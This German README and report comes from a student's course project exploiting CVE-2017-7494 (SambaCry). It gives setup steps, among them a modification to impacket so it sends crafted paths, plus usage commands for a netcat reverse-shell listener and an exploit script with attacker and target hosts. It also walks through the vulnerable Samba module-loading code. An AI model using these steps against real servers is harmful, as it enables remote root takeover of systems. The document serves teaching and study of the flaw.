Exploit CVE-2017-7494 für die Abschlussaufgabe des Netzwerksicherheitskurses. Dies würde die Schwachstelle von Diensten offenlegen, die mit administrativen Rechten unter Linux ausgeführt werden.
Exploit CVE-2017-7494 für die Abschlussaufgabe des Netzsicherheitskurses. Dies zeigt die Schwachstelle von Diensten, die mit Administratorrechten auf dem Betriebssystem ausgeführt werden.
Dieser Fehler ist sowohl auf macOS als auch auf Linux nutzbar.
Vor dem Exploit müssen Sie Abhängigkeiten herunterladen.
/bin/bash install_requirement.sh
Eine der wichtigsten Abhängigkeiten ist das impacket-Paket für Python. Es ermöglicht SMB-Verbindungen.
Allerdings müssen wir das ursprüngliche impacket modifizieren, um eine gültige Anfrage zu konstruieren, die den Samba-Server veranlasst, unser bösartiges Modul zu laden.
Die Installation install_requirement.sh installiert eine modifizierte Version (von mir modifiziert), damit Sie sich keine Sorgen machen müssen und keine manuelle Änderung vornehmen müssen.
Wenn Sie jedoch eine neuere Version oder eine andere Version von impacket verwenden möchten, müssen Sie dieses Paket selbst modifizieren.
Gehen Sie zu
impacket/impacket/smb3.pyund modifizieren Sie Zeile 11154, indem Sie die folgenden beiden Zeilen auskommentieren:
# fileName = fileName.replace('/', '\\') Sollte auskommentiert sein!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Sollte auskommentiert sein!
if fileName[0] == '\\':
fileName = fileName[1:]
Um das Ziel auszunutzen, benötigen Sie zwei Terminals. Eines verwendet netcat, um mit der Reverse Shell zu interagieren, das andere wird verwendet, um den Fehler auszunutzen.
Verwendung:
# Erstes Terminal: nc verwenden, um Reverse Shell zu erhalten
$ nc -p 23333 -l
# Zweites Terminal: Ziel ausnutzen
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
Wenn das Ziel macOS ist, sollten Sie das Modul nicht auf Linux kompilieren! Da gcc das MACH-O-Format nicht unterstützt. Wenn Sie ein Mac-Benutzer sind, funktioniert die Kompilierung des macOS-Payloads.
Eine vorkompilierte Version befindet sich im Verzeichnis: mac_payload.so.
Verwenden Sie das Flag -m, um exploit.py mitzuteilen, dass Sie ein benutzerdefiniertes Payload verwenden.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
Ein detaillierter Prozess wird auf Chinesisch als meine Abschlussaufgabe veröffentlicht. Wenn Sie Chinesisch verstehen, wird es für Sie in Ordnung sein. :)
—— CVE-2017-7494 Angriffsbericht
EternalBlue verursachte 2017 enorme Schäden, indem es die Windows-SMB-Mechanismen für Wurmangriffe ausnutzte. SMB ist ein Dienst, der unter Windows läuft und es verschiedenen Hosts ermöglicht, Dateien gemeinsam zu nutzen und Remote Procedure Calls (RPC) durchzuführen. Vielleicht ist es diese Art von Funktionalität, die es oft zum Ziel von Hackern macht.
Schwachstellen im Betriebssystemkernel selbst sollten relativ selten sein – selbst für Windows. Normalerweise sind es die verschiedenen Dienste, die auf dem Betriebssystem laufen, die Probleme verursachen. Sie haben nicht denselben strengen, gründlich getesteten Code wie das Betriebssystem, laufen aber mit hohen Privilegien, was viele Möglichkeiten zur böswilligen Ausnutzung schafft. Können wir also das gesamte Betriebssystem kompromittieren, indem wir hochprivilegierte Dienste auf dem Betriebssystem angreifen, anstatt die zugrunde liegenden Komponenten des Betriebssystems selbst? Ein Betriebssystem allein ist nur ein Kernel und kann nichts tun; es muss verschiedene Systemdienste ausführen, um uns vielfältige Funktionen zu bieten. Viele Betriebssystemdienste müssen mit Administratorrechten (als Daemon) ausgeführt werden. Wenn wir also einen solchen hochprivilegierten Dienst kompromittieren, erhalten wir automatisch Administratorrechte auf dem System und können das gesamte Betriebssystem übernehmen.
Schließlich habe ich in der Open-Source-Implementierung von SMB – Samba – eine ausnutzbare Schwachstelle gefunden: CVE-2017-7494. Ähnlich wie bei Windows können Hacker über Sambas RPC Administratorrechte auf dem Betriebssystem erlangen und so die Möglichkeit haben, Wurmviren im Netzwerk zu konstruieren.
Der Linux-Kernel ist bekannt für seine Sicherheit durch Open Source; macOS als Nischen-System vermittelt aufgrund der geringen Anzahl von Viren oft ein falsches Sicherheitsgefühl. Daher werden in diesem Experiment macOS und mehrere verschiedene Linux-Distributionen angegriffen, um die Verwundbarkeit von Betriebssystemen zu demonstrieren – egal wie "sicher" ein Betriebssystemdesign "aussieht", es kann in jeder Situation aufgrund einer Schwachstelle in einer kleinen Anwendung kompromittiert werden.
Da Samba ein Dienst ist, der SMB entspricht, wird er auch als "Linux-Version von EternalBlue" bezeichnet, obwohl ich denke, dass es aus technischer Sicht wesentliche Unterschiede gibt:
Diese Schwachstelle stammt hauptsächlich aus dem Aufruf von smb_probe_module() in der Funktion bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) in source3\rpc_server\srv_pipe.c:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
// Hier liegt das Problem
status = smb_probe_module("rpc", pipename);
....
Die übergeordnete Funktion von is_known_pipename(), np_open(), ist ein Kontrollmodul. Nach der Überprüfung der RPC-Dienstanfrage wird is_known_pipename() aufgerufen. is_known_pipename() dient dem Namen nach dazu, zu prüfen, ob eine entfernte Pipe bereits registriert ist. Aber nach Samba 3.50 wurde eine neue Funktion eingeführt: das Laden dynamischer Module durch Aufruf von smb_probe_module(). Diese Schwachstelle nutzt genau diese Funktion zum Laden von Modulen aus, um den Aufruf eines selbst konstruierten bösartigen Moduls zu ermöglichen.
Das Laden des rpc pipe-Moduls hat folgende Aufrufkette:
is_known_pipename() -> smb_probe_module() -> do_smb_load_module() -> load_module()
In den Samba-Versionen 3.5.0 bis 4.6.3 wurde die Funktion do_smb_load_module() von smb_probe_module() (zum Laden von RPC-Modulen) und einem anderen smb_load_module() (zum Laden eigener Module) gemeinsam genutzt. smb_load_module() dient zum Laden bekannter Module, vermutlich für interne Aufrufe zur Erweiterung der Samba-Funktionalität, wie z.B. VFS-Module; smb_probe_module() sollte dagegen mögliche Module laden, die aus RPC-Anfragen stammen.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
Damit diese beiden Funktionen mit unterschiedlichen Quellen gemeinsam genutzt werden können (obwohl sie meiner Meinung nach niemals dasselbe Modul gemeinsam nutzen sollten), implementiert do_smb_load_module() zwei Methoden: "Laden eines Moduls im SMB-Subsystem durch Parsen der Anfrage" und "Laden eines Moduls über einen absoluten Pfad".